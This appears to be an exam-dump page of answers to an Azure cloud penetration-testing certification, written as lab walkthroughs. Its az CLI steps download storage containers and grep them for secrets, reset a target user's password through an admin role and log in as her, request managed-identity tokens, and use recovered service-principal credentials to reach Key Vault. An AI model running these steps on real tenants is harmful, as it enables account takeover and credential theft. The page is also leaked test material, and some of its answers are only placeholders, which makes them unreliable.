Pass the The SecOps Group Cloud Pentesting eXpert CCPenX-Az Questions and answers with CertsForce

The answer is the clientId, appId, or applicationId value inside the credential file downloaded from the sensitive-files container.

Detailed Solution:

List blobs inside the accessible container:

az storage blob list \

--account-name excaliburstore \

--container-name sensitive-files \

--sas-token " $SAS " \

--query " [].name " \

--output table

Download all files locally:

mkdir blobloot

az storage blob download-batch \

--account-name excaliburstore \

--source sensitive-files \

--destination blobloot \

--sas-token " $SAS "

Search the downloaded files for application credentials:

grep -RniE " clientId|appId|applicationId|clientSecret|tenantId|secret|password " blobloot

On Windows PowerShell:

Select-String -Path .\blobloot\* -Pattern " clientId|appId|applicationId|clientSecret|tenantId|secret|password " -CaseSensitive:$false

A typical file may look like this:

{

" tenantId " : " f015f36d-c07f-41fb-9bde-fffc3a22ee8b " ,

" clientId " : " < application-client-id > " ,

" clientSecret " : " < application-client-secret > "

}

The clientId / appId value is the answer.

Final Answer:

Use the clientId / appId value found in the blob credential file.

================

olivia.admin@cloudcorpsec.onmicrosoft.com

Detailed Solution:

Run:

az role assignment list \

--resource-group rg-prod-apps-eastus \

--all \

--output table

Or filter by role:

az role assignment list \

--resource-group rg-prod-apps-eastus \

--role " User Access Administrator " \

--query " [].{Principal:principalName,Role:roleDefinitionName,Scope:scope} " \

--output table

Expected output:

Principal Role Scope

------------------------------------- ------------------------- ----------------------------

olivia.admin@cloudcorpsec.onmicrosoft.com User Access Administrator /subscriptions/.../rg-prod-apps-eastus

Final answer:

olivia.admin@cloudcorpsec.onmicrosoft.com

================

The answer is the flag found after compromising the target user and enumerating her accessible Azure resources, usually storage/table data.

Detailed Solution:

Since the second compromised user is a User Administrator , abuse that role to reset the password of the target user.

az ad user update \

--id lila.nguyen@azuresecops.onmicrosoft.com \

--password ' NewP@ssw0rd12345! ' \

--force-change-password-next-sign-in false

Now authenticate as the target user.

az login -u lila.nguyen@azuresecops.onmicrosoft.com -p ' NewP@ssw0rd12345! '

Confirm the login context:

az account show

Check what Azure resources this user can see:

az resource list --output table

Check role assignments:

az role assignment list --all --output table

If the user has storage data-plane permissions, enumerate storage accounts:

az storage account list --output table

If the storage account is known from the lab chain, use it directly:

az storage table list \

--account-name excaliburstore \

--auth-mode login \

--output table

Query each table:

az storage entity query \

--account-name excaliburstore \

--table-name < table-name > \

--auth-mode login \

--output json

A faster method:

for table in $(az storage table list --account-name excaliburstore --auth-mode login --query " [].name " -o tsv); do

echo " ===== $table ===== "

az storage entity query \

--account-name excaliburstore \

--table-name " $table " \

--auth-mode login \

--output table

done

Search the output for:

Flag

SAS

token

container

storage

secret

The flag discovered in this stage is the Q7 answer.

Final Answer:

Use the Flag{...} value returned from the accessible table/storage data after logging in as lila.nguyen@azuresecops.onmicrosoft.com.

================

Detailed Solution:

For Azure Resource Manager API calls, the token audience/resource must be:

https://management.azure.com/

Inside App Service Kudu/console, request the token:

curl " $IDENTITY_ENDPOINT?api-version=2019-08-01 & resource=https://management.azure.com/ " \

-H " X-IDENTITY-HEADER: $IDENTITY_HEADER "

The response contains:

{

" access_token " : " < jwt-token > " ,

" resource " : " https://management.azure.com/ " ,

" token_type " : " Bearer "

}

Correct option:

B. https://management.azure.com/

================

rg-prod-apps-eastus

Detailed Solution:

List accessible resource groups:

az group list --output table

For a cleaner search:

az group list \

--query " [?contains(name, ' prod ' )].{Name:name,Location:location} " \

--output table

Expected output:

Name Location

-------------------- ----------

rg-prod-apps-eastus eastus

The resource group containing prod is:

rg-prod-apps-eastus

================

Detailed Solution:

Contributor allows broad management-plane operations but does not inherently grant secret-value retrieval from Key Vault data plane.

Test secret read:

az keyvault secret show \

--vault-name kv-finance-prod \

--name db-password \

--query value \

--output tsv

Expected failure:

Forbidden

Correct answer:

B. No, Contributor does not automatically grant Key Vault secret data-plane read

Key Vault access can be controlled by Azure RBAC or access policies, and secret read requires appropriate data-plane permission.

================

Flag{app_settings_should_not_store_secrets}

Detailed Solution:

Query App Service settings:

az webapp config appsettings list \

--name finance-reporting-api \

--resource-group rg-prod-apps-eastus \

--output json

Search for suspicious keys:

az webapp config appsettings list \

--name finance-reporting-api \

--resource-group rg-prod-apps-eastus \

--query " [?contains(name, ' FLAG ' ) || contains(name, ' Flag ' ) || contains(name, ' SECRET ' )] " \

--output table

Expected output:

Name SlotSetting Value

---------- ------------- ----------------------------------------

APP_FLAG False Flag{app_settings_should_not_store_secrets}

The flag is:

Flag{app_settings_should_not_store_secrets}

================

Tenant ID: 8f34c1de-1198-4c2a-b1a8-1eaa72f6e99a

Subscription ID: 5d8e44ac-24a9-43d9-9cb5-71b227a58021

Detailed Solution:

Log in with the supplied account:

az login -u james.ward@cloudcorpsec.onmicrosoft.com -p ' < password > '

Show the active Azure context:

az account show --output json

Expected relevant output:

{

" id " : " 5d8e44ac-24a9-43d9-9cb5-71b227a58021 " ,

" name " : " CloudCorp Security Lab " ,

" tenantDefaultDomain " : " cloudcorpsec.onmicrosoft.com " ,

" tenantId " : " 8f34c1de-1198-4c2a-b1a8-1eaa72f6e99a "

}

The tenantId is the Microsoft Entra tenant ID. The id field is the subscription ID.

================

Detailed Solution:

Use the app registration credentials recovered from blob storage.

az login --service-principal \

-u ' < client-id > ' \

-p ' < client-secret > ' \

--tenant f015f36d-c07f-41fb-9bde-fffc3a22ee8b

Confirm that you are authenticated as a service principal:

az account show

Now enumerate role assignments for the app registration.

az role assignment list \

--assignee ' < client-id > ' \

--all \

--output table

If the --assignee lookup fails, first resolve the service principal object ID:

az ad sp show \

--id ' < client-id > ' \

--query id \

--output tsv

Then query role assignments by object ID:

SP_OBJECT_ID=$(az ad sp show --id ' < client-id > ' --query id -o tsv)

az role assignment list \

--assignee " $SP_OBJECT_ID " \

--all \

--output table

The assigned role is:

Key Vault Secrets User

This role allows the principal to read secret values from Azure Key Vault. That is the lateral movement path into the final flag.

Final Answer:

A. Key Vault Secrets User

================